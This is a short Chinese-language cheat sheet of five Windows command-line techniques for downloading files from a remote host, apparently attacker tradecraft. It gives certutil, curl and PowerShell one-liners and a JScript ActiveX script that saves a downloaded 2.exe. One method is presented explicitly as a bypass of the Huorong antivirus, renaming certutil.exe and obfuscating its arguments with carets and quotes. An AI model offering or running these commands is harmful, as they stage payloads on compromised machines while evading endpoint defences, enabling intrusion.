windows命令行远程下载文件的五种方法
方法一:
certutil -urlcache -split -f http://xx.xx.xx.xx/test.zip c:\test.zip (windows远程下载文件至本地,仅需要一个cmd执行的地方)
方法二:
curl http://xx.xx.xx.xx/test.zip -o c:\test.zip
方法三:绕最新版火绒下载(2022年9月24日):修改C:\Windows\System32下的certutil.exe为c.exe
执行:
c.exe -U^R""""L""""C^a""""c""""h^e -s^p""""l""""i^t -f http://x.x.x.x/1.txt
方法四:
powershell -c "invoke-webrequest -uri http://xx.xx.xx.xx/test.zip -outfile test.zip"
方法五:js ((2023年2月16日))
cscript /nologo 2.js http://xxx:8888/1.txt
以下内容保存为.js文件:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); WScript.Echo(WinHttpReq.ResponseText);
以下的js为下载2.exe的方法,运行方法同上
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile("2.exe");